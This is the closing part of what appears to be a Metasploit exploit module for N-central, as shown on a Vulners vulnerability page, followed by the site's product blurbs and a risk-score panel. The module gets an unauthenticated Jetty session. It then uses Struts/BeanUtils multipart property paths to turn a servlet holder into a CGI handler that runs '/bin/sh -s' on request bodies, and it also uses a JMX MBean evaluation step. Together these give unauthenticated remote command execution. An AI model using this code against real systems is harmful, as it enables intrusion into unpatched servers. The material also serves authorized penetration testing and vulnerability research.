        #{jshell_identifiers[:mbean_server]}.createMBean("javax.management.modelmbean.RequiredModelMBean",#{jshell_identifiers[:evaluator_name]},#{jshell_identifiers[:loader_name]},new Object[]{#{jshell_identifiers[:mbean_info]}},new String[]{"javax.management.modelmbean.ModelMBeanInfo"});
        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:evaluator_name]},"getValue",new Object[]{#{jshell_identifiers[:expression]},0},new String[]{"java.lang.String","java.lang.Object"});
      } finally {
        try { if(#{jshell_identifiers[:mbean_server]}.isRegistered(#{jshell_identifiers[:evaluator_name]})) #{jshell_identifiers[:mbean_server]}.unregisterMBean(#{jshell_identifiers[:evaluator_name]}); } catch(Exception #{jshell_identifiers[:ignored_exception]}) {}
        try { if(#{jshell_identifiers[:mbean_server]}.isRegistered(#{jshell_identifiers[:loader_name]})) #{jshell_identifiers[:mbean_server]}.unregisterMBean(#{jshell_identifiers[:loader_name]}); } catch(Exception #{jshell_identifiers[:ignored_exception]}) {}
        #{jshell_identifiers[:jmx_connection]}.close();
      }
    JSHELL
  end

  def action_uri
    normalize_uri(target_uri.path, 'remoteControlAction.do')
  end

  def new_session
    # This is the attacker's own unauthenticated session, not a stolen or
    # predicted session. Its only purpose is to make both requests share the
    # same vulnerable Struts form object. Always request a fresh cookie here:
    # AutoCheck is optional and its earlier check request does not retain one.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => action_uri
    )

    fail_with(Failure::Unreachable, 'The unauthenticated action did not respond.') unless res

    session_cookie = res.get_cookies[/\bJSESSIONID=[^;\s]+/]

    fail_with(Failure::UnexpectedReply, "No JSESSIONID was returned by #{action_uri} (HTTP #{res.code}).") unless session_cookie

    session_cookie
  end

  def cgi_mutation_fields(servlet)
    # Struts passes multipart field names to BeanUtils as JavaBean property
    # paths. Each dotted component invokes a getter on a live object; the last
    # component invokes a setter. The root below walks from the helper request's
    # multipart handler to Jetty's live WebAppContext; the next two strings
    # extend it to the selected servlet holder.
    context = 'multipartRequestHandler.servlet.servletContext.classLoader.context'

    handler = "#{context}.servletHandler"

    holder = "#{handler}.servlet(#{servlet})"

    # These pairs are ordinary multipart names and values, not direct Jetty API
    # calls. For example, a name ending in servlet(<name>).heldClass makes
    # BeanUtils call getters until it reaches that live holder, then invoke
    # setHeldClass(). Because the selected holder has not created its original
    # servlet yet, the later trigger causes it to instantiate CGI instead.
    #
    # The singular initParameter(name) paths deliberately call Jetty's typed
    # setter. Struts stores multipart text as String arrays; BeanUtils converts a
    # one-element array for that setter, whereas writing the backing map would
    # retain the array and later fail Jetty's String cast. commandPrefix starts a
    # shell that reads the trigger body, while cgibinResourceBaseIsRelative makes
    # CGI find WEB-INF/web.xml relative to the web-application root.
    #
    # CGI calls startAsync(), so its holder and both /* filters must permit
    # asynchronous processing. These flags do not remove or bypass the filters;
    # the filters continue operating normally with async support enabled. The
    # cleanup controller restores them after the last CGI holder is removed;
    # without cleanup they remain changed until N-central restarts.
    [
      ["#{holder}.heldClass", 'org.eclipse.jetty.servlets.CGI'],
      ["#{holder}.initParameter(commandPrefix)", '/bin/sh -s'],
      ["#{holder}.initParameter(cgibinResourceBaseIsRelative)", 'true'],
      ["#{holder}.asyncSupported", 'true'],
      ["#{handler}.filter(HeaderFilter).asyncSupported", 'true'],
      ["#{handler}.filter(Mapped Diagnostic Context Filter).asyncSupported", 'true']
    ]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
CVSS 410
EPSS0.14509
SSVC
9